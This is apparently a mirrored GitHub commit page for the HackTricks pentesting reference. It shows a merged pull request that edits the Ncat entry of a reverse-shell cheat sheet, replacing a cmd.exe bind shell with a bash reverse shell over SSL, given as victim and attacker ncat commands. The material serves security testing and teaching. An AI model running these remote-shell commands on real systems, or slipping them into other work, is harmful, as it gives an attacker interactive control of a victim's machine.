mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Merge pull request #921 from fjh1997/master
Correction: cmd.exe is part of Windows, not Linux.Use bash instead。
This commit is contained in:
commit
fb88a175f1
1 changed files with 2 additions and 2 deletions
|
@ -213,8 +213,8 @@ p.waitFor()
|
|||
## Ncat
|
||||
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
victim> ncat <ip> <port,eg.443> --ssl -c "bash -i 2>&1"
|
||||
attacker> ncat -l <port,eg.443> --ssl
|
||||
```
|
||||
|
||||
## Golang
|
||||
|
|
Loading…
Reference in a new issue